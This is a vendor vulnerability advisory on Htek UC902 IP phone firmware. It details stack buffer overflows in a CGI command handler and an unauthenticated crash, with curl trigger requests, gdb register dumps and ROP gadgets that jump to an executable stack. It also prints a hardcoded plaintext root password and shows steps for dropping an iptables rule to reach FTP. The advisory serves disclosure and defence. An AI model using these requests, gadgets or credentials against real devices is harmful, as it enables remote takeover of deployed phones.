Fraunhofer SIT

1. Summary

Vendor: Htek

Product: Htek UC902

Affected Version: Firmware 2.0.4.4.46

CVSS Score: 8.2 (High)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H/E:P/RL:U/RC:R/CR:M/IR:M/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The Htek UC902 IP phone firmware has fundamental design problems und contains different vulnerabilities caused by memory corruptions. The device does not contain an input verification for external user input. This problem allows an attacker to trigger buffer overflows and Denial of Service attacks. Further missing process isolation will allow privilege escalation.

Buffer Overflow RCE (Vulnerability 1):

The core process binary (`voip`) contains several implementations flaws in functions, which are vulnerable against buffer overflows. The following code excerpts are disassemblies or pseudo code derived from this binary to show the bugs.

The function `CopyToCommandStr` reads input and writes it to a buffer. The reading terminates at `\0` or at a `"("`. If the bracket is missing reading will stop at least at the end of the string.

```
void CopyToCommandStr(char *target,char *input)

{
  char *local_target;
  char *local_input;

  local_target = target;
  local_input = input;
  while ((*local_input != '(' && (*local_input != 0))) {
    *local_target = *local_input;
    local_target = local_target + 1;
    local_input = local_input + 1;
  }
  return;
}
```

The function gets his input from an URL parameter, which means the attacker can control the input characters, and in order that he can control the length of the input and overwrite the buffer. This will allow him to overwrite return values on the stack and control the program flow. The following `curl` command and `gdb` excerpt show how the `$ra` (return register) of the function at address `0x7E5230` (we call it `handle_cgi_command`) is overwritten. The function is responsible for changing the user password.

Excerpt of the function:

```
handle_cgi_command(undefined4 param_1,undefined4 param_2,undefined4 param_3,char *cgi_param)

{
  int iVar1;
  undefined4 uVar2;
  char targetBuffer [32];     //will be overflowed by CopyToCommandStr function
```

```
  undefined auStack108 [100];

  memset(targetBuffer,0,0x20);
  iVar1 = strncmp(cgi_param,"/hl_web/cgi_command=",0x14);  //GET request parameter
  if (iVar1 == 0) {
    CopyToCommandStr(targetBuffer,cgi_param + 0x14);
    hl_printf("*********HLwebsCgiGetHook:CommandStr=%s****
…
```

The `curl` command to trigger the overflow:

```
curl -i -s -k -X  'GET'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0)
Gecko/20100101 Firefox/65.0'  -H 'Accept: */*'  -H 'Accept-Language: en-US,en;q=0.5'  -H
'Referer: http://192.168.2.107/security.htm'  -H 'Authorization: Basic YWRtaW46YWRtaW4='  -H
'Connection: keep-alive'  -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia
aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg'
```

In the `gdb` excerpt you can see the overflow of the buffer and the control of `$ra` and as a result `$pc`.

```
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------------------------------
registers ----
$zero: 0x0
$at  : 0x1000ff00
$v0  : 0x0
$v1  : 0x72
$a0  : 0x7cffb4b4 -> 0x73657453 ("setS"?)
$a1  : 0x00d89cac -> "read_rfid_sn"
$a2  : 0xc
$a3  : 0x2
…
$s7  : 0x7f3ffc40 -> 0x7f3ffc40 -> [loop detected]
$t8  : 0x0
$t9  : 0x2ae4ca90 -> <strncmp+0> sltiu v0, a2, 4
…
$s8  : 0x61616265 ("aabe"?)
$pc  : 0x0080a9b4 -> 0x27bd00a8
$sp  : 0x7cffb498 -> 0x00d89c48 -> 0x2a2a2a2a ("****"?)
…
$ra  : 0x61616266 ("aabf"?)
------------------------------------------------------------------------------
code:mips:MIPS32 ----
     0x80a9a8                  move   sp, s8
     0x80a9ac                  lw     ra, 164(sp)
     0x80a9b0                  lw     s8, 160(sp)
->   0x80a9b4                 addiu  sp, sp, 168
     0x80a9b8                  jr     ra    //jump to controllable address
     0x80a9bc                  nop
     0x80a9c0                  addiu  sp, sp, -40
     0x80a9c4                  sw     ra, 36(sp)
     0x80a9c8                  sw     s8, 32(sp)
------------------------------------------------------------------------------------------
threads ----
[#0] Id 1, Name: "", stopped, reason: SINGLE STEP
------------------------------------------------------------------------------------------
trace ----
[#0] 0x80a9b4->addiu sp, sp, 168
------------------------------------------------------------------------------------------
----------
gef> x/60wx $sp
0x7cffb498:    0x00d89c48     0x7cffb4b4     0x00000000     0x00000000
0x7cffb4a8:    0x00e42900     0x00000000     0x00000000     0x73657453
0x7cffb4b8:    0x65637572     0x69747950     0x61737377     0x6f727461
0x7cffb4c8:    0x61616162     0x61616163     0x61616164     0x61616165
0x7cffb4d8:    0x61616166     0x61616167     0x61616168     0x61616169
0x7cffb4e8:    0x6161616a     0x6161616b     0x6161616c     0x6161616d
```

```
0x7cffb4f8:    0x6161616e     0x6161616f     0x61616170     0x61616171
0x7cffb508:    0x61616172     0x61616173     0x61616174     0x61616175
0x7cffb518:    0x61616176     0x61616177     0x61616178     0x61616179
0x7cffb528:    0x6161617a     0x61616262     0x61616263     0x61616264
0x7cffb538:    0x61616265     0x61616266     0x61616267     0xffffffff
                    ^---$s8        ^----- $ra
0x7cffb548:    0x02000348     0x02000ea8     0x02000380     0x2adb1ed0
…
gef>
```

The `CopyToCommandStr` function is just one example, the binary contains another function at address `0x07C154C`, which has a similar behavior. In our pseudocode excerpt we call it "`charcopy`".

```
void charcopy(char *targetbuffer32,char *param_2,char param_3)

{
  char *target;
  char *local_res4;
  char local_res8;

  target = targetbuffer32;
  local_res4 = param_2;
  local_res8 = param_3;
  while (((0 < local_res8 && (*local_res4 != ',')) && (*local_res4 != ')'))) {
    *target = *local_res4;
    target = target + 1;
    local_res4 = local_res4 + 1;
    local_res8 = local_res8 + -1;
  }
  return;
}
```

This function would also trigger a buffer overflow. In this advisory we did not provide further code to exploit it.

Buffer Overflow Dereference Segmentation Fault (Vulnerability 2):

The previous bug is triggered for an authenticated user. But the code is also vulnerable if the user is not authenticated. In this case, we were not able to overwrite the return address but we were able to influence register values. This might be exploitable for further attacks, but we only show the control of the register and a segmentation fault due to a dereference error.

The same `curl` request from above, but with invalid user credentials will trigger this bug.

```
curl -i -s -k -X  'GET'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0)
Gecko/20100101 Firefox/65.0'  -H 'Accept: */*'  -H 'Accept-Language: en-US,en;q=0.5'  -H
'Referer: http://10.148.207.176/security.htm'  -H 'Authorization: Basic YWRtaW46YWRtaW4x'  -H
'Connection: keep-alive'  -H ''
'http://10.148.207.176/hl_web/cgi_command=setSecurityPasswordaaaabaaacaaadaaaeaaafaaagaaahaaai
aaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaa
bhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacf
aacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaa
deaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaec
aaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaa
fbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafy
aafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaa
gxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahv
aahwaahxaahyaah'
```

The debug excerpt shows the crash. The function `strstr()` tries to read a value from the address in $a0. This contains an extern value ("`apaa`") which is not a valid address, but controllable by the attacker.

```
Program received signal SIGSEGV, Segmentation fault.
0x2ae4cea4 in strstr () from target:/lib/libc.so.0
warning: GDB can't find the start of the function at 0x82c313.
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------------------ registers ----
$at   : 0x1000ff00
$v0   : 0x61706161 ("apaa"?)
$v1   : 0x2f
$a0   : 0x61706161 ("apaa"?)
$a1   : 0x00d8ca60 -> "/Phone_ActionURL"
$a2   : 0x0
$a3   : 0x01fbd720 -> 0x01fbdce8 -> 0x01fbffc8 -> 0x01fbe8f8 -> 0x01fbed18 -> 0x00000000
$t0   : 0x0
$t1   : 0x64786161 ("dxaa"?)
$t2   : 0x64796161 ("dyaa"?)
$t3   : 0x647a6161 ("dzaa"?)
$t4   : 0x65626161 ("ebaa"?)
$t5   : 0x65636161 ("ecaa"?)
$t6   : 0x65646161 ("edaa"?)
$t7   : 0x65656177 ("eeaw"?)
$s0   : 0x7cdffc40 -> 0x7cdffc40 -> [loop detected]
$s1   : 0x01fb4a7c -> 0x00000000
$s2   : 0x14
$s3   : 0x1000
$s4   : 0x0
$s5   : 0x2adb1ed0 -> 0x00000000
$s6   : 0x7cc01000 -> 0x00000000
$s7   : 0x7f1ffc40 -> 0x7f1ffc40 -> [loop detected]
$t8   : 0x10
$t9   : 0x2ae4ce90 -> <strstr+0> lbu v1, 0(a1)
$k0   : 0x1
$k1   : 0x0
$s8   : 0x7cdfb9c0 -> 0x01fc03d8 -> 0x2f007777 ("/"?)
$pc   : 0x2ae4cea4 -> <strstr+20> lbu v0, 0(a0)
$sp   : 0x7cdfb9c0 -> 0x01fc03d8 -> 0x2f007777 ("/"?)
$hi   : 0x0
$lo   : 0x0
$fir  : no value
$ra   : 0x0082c314 -> 0x8fdc0010
$gp   : 0x00e42900 -> 0x00000000
------------------------------------------------------------------------------------------------
stack ----
[!] Command 'dereference' failed to execute properly, reason: Unknown register.
------------------------------------------------------------------------------------------
code:mips:MIPS32 ----
   0x2ae4ce98 <strstr+8>       move   v0, a0
   0x2ae4ce9c <strstr+12>      addiu  a0, a0, -1
   0x2ae4cea0 <strstr+16>      addiu  a0, a0, 1
->0x2ae4cea4 <strstr+20>      lbu    v0, 0(a0)
   0x2ae4cea8 <strstr+24>      beqz   v0, 0x2ae4cf64 <strstr+212>
   0x2ae4ceac <strstr+28>      nop
   0x2ae4ceb0 <strstr+32>      bne    v0, v1, 0x2ae4cea0 <strstr+16>
   0x2ae4ceb4 <strstr+36>      nop
   0x2ae4ceb8 <strstr+40>      lbu    t1, 1(a1)
------------------------------------------------------------------------------------------------
threads ----
[#0] Id 1, Name: "", stopped, reason: SIGSEGV
------------------------------------------------------------------------------------------------
trace ----
[#0] 0x2ae4cea4->strstr()
[#1] 0x82c314->lw gp, 16(s8)
------------------------------------------------------------------------------------------------
gef>
```

Hardcoded OS Admin Credentials in Plaintext (Vulnerability 3):

The operating system (Linux) credentials are stored in plaintext as part of the main binary. Everybody who has access to the firmware update image[1] (free downloadable) can read the password. The following code excerpt from the `voip` binary shows the admin password (root user).

```
..
RegisterPVCnumber();
    __stream = fopen64("/var/passwd","w+");
    mib_get(0x5b,local_48);
    memcpy(key_value,"alotof66phones",0xf);
    mib_set(0x5c,key_value);
    mib_get(0x5c,key_value);
    pcVar3 = crypt(key_value,"$1$");
…
```

This passwords will be hashed at startup and written to the `/var/passwd` file, which is a symlink to the `/etc/passwd`.

```
#ls –al /etc/passwd
lrwxrwxrwx    1 admin    0              11 Jan 23 01:49 passwd -> /var/passwd

# cat /etc/passwd
admin:$1$$jlacVwOti.T8PIrDjAsZu/:0:0::/tmp:/bin/cli     //alotof66phones
user:$1$$ex9cQFo.PV11eSLXJFZuj.:1:0::/tmp:/bin/cli
```

If you get access to the device via the running `ftp` server (blocked by `iptables`, but can be disabled) or the UART interface you can login as root user.

2. Impact

Buffer Overflow Change Control Flow POC:

If an attacker somehow gets access to the web interface credentials (default credential, info leak, etc.) he will be able to abuse the buffer overflow to trigger code execution on the device. The following POC shows how to control the program counter and executes code on the stack due to missing NX protection.

```
# cat /proc/3740/maps
00400000-00dff000 r-xp 00000000 1f:02 524        /bin/voip
00e0e000-00e3f000 rw-p 009fe000 1f:02 524        /bin/voip
00e3f000-02157000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 283        /lib/ld-uClibc-0.9.30.3.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aabc000-2aabd000 r--p 00004000 1f:02 283        /lib/ld-uClibc-0.9.30.3.so
2aabd000-2aabe000 rw-p 00005000 1f:02 283        /lib/ld-uClibc-0.9.30.3.so
2aabe000-2aad1000 r-xp 00000000 1f:02 260        /lib/libz.so.1
2aad1000-2aae0000 ---p 00000000 00:00 0
2aae0000-2aae1000 rw-p 00012000 1f:02 260        /lib/libz.so.1
2aae1000-2ab18000 r-xp 00000000 1f:02 276        /lib/libjpeg.so.7
2ab18000-2ab27000 ---p 00000000 00:00 0
2ab27000-2ab28000 rw-p 00036000 1f:02 276        /lib/libjpeg.so.7
2ab28000-2ab4e000 r-xp 00000000 1f:02 281        /lib/libpng12.so.0
2ab4e000-2ab5d000 ---p 00000000 00:00 0
2ab5d000-2ab5e000 rw-p 00025000 1f:02 281        /lib/libpng12.so.0
…
7f201000-7f400000 rwxp 00000000 00:00 0
7faea000-7faff000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]
```

[1] http://www.htek.com/support/Document_And_Firmware/UC900_Series/uc902/

There is also no ASLR active. The `randomize_va_space` file says ASLR is active but comparing the lib addresses shows that there is no randomization.

The following exploit will trigger the buffer overflow, and jump to some payload on the stack. It is not possible to jump directly into the stack, therefore the exploit contains gadgets which will trigger the jump into the stack for code execution. The first gadget from `ulibc` stores the stack pointer value (plus an offset) into register `$a0`.

```
0x00026ee8: addiu $a0, $sp, 0x20; lw $ra, 0x1c($sp); jr $ra;
```

The second gadget from `ulibc` jumps to the value stored in `$a0` (contain stack pointer).

```
0x000439bc: move $t9, $a0; sw $v0, 0x18($sp); jalr $t9;
```

Then a `nop` sled is executed and afterwards the payload would be triggered. In this proof of concept there is no payload and the system will only crash because the payload PPPP is not an executable code.

```
 [ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------ registers ----
$zero: 0x0
$at   : 0x1000ff00
$v0   : 0x0
$v1   : 0x72
$a0   : 0x7d1fb560 -> 0x01084026 -> 0x00000000
…
$t9   : 0x7d1fb560 -> 0x01084026 -> 0x00000000
$k0   : 0x1
$k1   : 0x0
$s8   : 0x41414141 ("AAAA"?)
$pc   : 0x2ae5b9c4 -> <xdr_free+20> jalr t9
$sp   : 0x7d1fb560 -> 0x01084026 -> 0x00000000
…
$ra   : 0x2ae5b9bc -> 0x0080c821 -> 0x0000008f
$gp   : 0x00e42900 -> 0x00000000
------------------------------------------------------------ code:mips:MIPS32 ----
   0x2ae5b9b8 <xdr_free+8>     li     v0, 2
   0x2ae5b9bc <xdr_free+12>    move   t9, a0
   0x2ae5b9c0 <xdr_free+16>    sw     v0, 24(sp)
->0x2ae5b9c4 <xdr_free+20>    jalr   t9         <============== jump to stack pointer
   0x2ae5b9c8 <xdr_free+24>    addiu  a0, sp, 24
   0x2ae5b9cc <xdr_free+28>    lw     ra, 52(sp)
   0x2ae5b9d0 <xdr_free+32>    jr     ra
   0x2ae5b9d4 <xdr_free+36>    addiu  sp, sp, 56
   0x2ae5b9d8 <xdr_void+0>     jr     ra
------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "", stopped, reason: SINGLE STEP
--------------------------------------------------------------------- trace ----
[#0] 0x2ae5b9c4->xdr_free()
[#1] 0x1084026->nop
----------------------------------------------------------------------------------
gef> x/30wx $t9
0x7d1fb560:    0x01084026     0x01084026     0x01084026     0x01084026
0x7d1fb570:    0x01084026     0x01084026     0x00000000     0x01084026
0x7d1fb580:    0x01084026     0x01084026     0x01084026     0x01084026
0x7d1fb590:    0x01084026     0x01084026     0x01084026     0x01084026
0x7d1fb5a0:    0x01084026     0x01084026     0x01084026     0x01084026
0x7d1fb5b0:    0x01084026     0x01084026     0x01084026     0x01084026
0x7d1fb5c0:    0x01084026     0x01084026     0x01084026     0x50505050
0x7d1fb5d0:    0x00000008     0x00000008
gef> x/30i $t9                 <======payload, nop sled
   0x7d1fb560: xor    t0,t0,t0
   0x7d1fb564: xor    t0,t0,t0
   0x7d1fb568: xor    t0,t0,t0
   0x7d1fb56c: xor    t0,t0,t0
   0x7d1fb570: xor    t0,t0,t0
   0x7d1fb574: xor    t0,t0,t0
```

```
   0x7d1fb578: nop
   0x7d1fb57c: xor     t0,t0,t0
   0x7d1fb580: xor     t0,t0,t0
   0x7d1fb584: xor     t0,t0,t0
   0x7d1fb588: xor     t0,t0,t0
   0x7d1fb58c: xor     t0,t0,t0
   0x7d1fb590: xor     t0,t0,t0
   0x7d1fb594: xor     t0,t0,t0
   0x7d1fb598: xor     t0,t0,t0
   0x7d1fb59c: xor     t0,t0,t0
   0x7d1fb5a0: xor     t0,t0,t0
   0x7d1fb5a4: xor     t0,t0,t0
   0x7d1fb5a8: xor     t0,t0,t0
   0x7d1fb5ac: xor     t0,t0,t0
   0x7d1fb5b0: xor     t0,t0,t0
   0x7d1fb5b4: xor     t0,t0,t0
   0x7d1fb5b8: xor     t0,t0,t0
   0x7d1fb5bc: xor     t0,t0,t0
   0x7d1fb5c0: xor     t0,t0,t0
   0x7d1fb5c4: xor     t0,t0,t0
   0x7d1fb5c8: xor     t0,t0,t0
   0x7d1fb5cc: 0x50505050 <========== „PPPP“,
   0x7d1fb5d0: jr      zero
   0x7d1fb5d4: jr      zero
   0x7d1fb5d8: sra     zero,zero,0x0
gef>
```

After `nop` sled, possible payload, in this example no real code.

```
Program received signal SIGILL, Illegal instruction.
0x7d1fb5cc in ?? ()
warning: GDB can't find the start of the function at 0x7d1fb5cc.
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------ registers ----
$zero: 0x0
$at   : 0x1000ff00
$v0   : 0x0
$v1   : 0x72
$a0   : 0x7d1fb578 -> 0x00000000
…
$s8   : 0x41414141 ("AAAA"?)
$pc   : 0x7d1fb5cc -> "PPPP"
$sp   : 0x7d1fb560 -> 0x01084026 -> 0x00000000
…
$ra   : 0x2ae5b9cc -> <xdr_free+28> lw ra, 52(sp)
$gp   : 0x00e42900 -> 0x00000000
------------------------------------------------------------ code:mips:MIPS32 ----
   0x7d1fb5c0                  xor    t0, t0, t0
   0x7d1fb5c4                  xor    t0, t0, t0
   0x7d1fb5c8                  xor    t0, t0, t0
->0x7d1fb5cc                  0x50505050
   0x7d1fb5d0                  jr     zero
   0x7d1fb5d4                  jr     zero
   0x7d1fb5d8                  sra    zero, zero, 0x0
   0x7d1fb5dc                  nop
   0x7d1fb5e0                  slti   t1, s7, 5360
---------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "", stopped, reason: SIGILL
------------------------------------------------------------------------ trace ----
[#0] 0x7d1fb5cc->0x50505050
---------------------------------------------------------------------------------
gef>
```

The proof of concept code has no active payload, but an attacker can attach payload to establish e.g. a reverse shell or to delete `iptables` rules to get access to the FTP port. But it shows that an attacker can control program flow, the stack is executable and even if NX would be set, Return Oriented Programming attacks would be possible.

The following excerpt shows that `iptables` protects an open FTP server port, if the attacker disables the protection, it will be possible to connect to the device via FTP.

```
Drop iptables, enable ftp server:
# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:http
DROP       tcp  --  anywhere             anywhere            tcp dpt:telnet
DROP       tcp  --  anywhere             anywhere            tcp dpt:ftp
ACCEPT     icmp --  anywhere             anywhere
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:http

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
# iptables -D INPUT 3

# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:http
DROP       tcp  --  anywhere             anywhere            tcp dpt:telnet
ACCEPT     icmp --  anywhere             anywhere
ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:http
```

```
ftp> user
(username) admin
331 Password required for admin.
Password:
230 User admin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 pcmd command successful.
150 Opening ASCII mode data connection for '/bin/ls'.
-rw-r--r--    1 admin    0           46348 Apr 18 07:44 001fc11c6efd-boot.log
d------r-x    2 admin    0               0 Apr 17 09:57 BW_DIR
drwxrwxrwx    2 admin    0               0 Apr 18 07:43 Language
srwxr-xr-x    1 admin    0               0 Jan  1  1970 deamon
-rw-r--r--    1 admin    0              64 Apr 18 07:02 dhcpip.conf
-rw-r--r--    1 admin    0             138 Apr 18 07:02 dhcpopt
-rw-------    1 admin    0               0 Apr 17 09:57 fmmg
drwxrwxrwx    2 admin    0               0 Apr 18 07:02 hlpres
-rw-r--r--    1 admin    0          319882 Apr 18 07:56 message01
d------r-x    2 admin    0               0 Apr 17 09:57 mts
d------r-x    2 admin    0               0 Apr 17 09:57 ucone
```

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people. Disable unnecessary daemons and services. Further do not use plaintext, hardcoded credentials.

4. Possible fix

Input validation must be handled on server side, not on client side (application) layer.

Another mitigation strategy is to reduce the privileges of the webserver, it should not run as root. If the system implements a user management concept, this should be enforced on all layers. Every external input must be validated e.g. size before writing into buffer. Use secure API calls and storing technologies.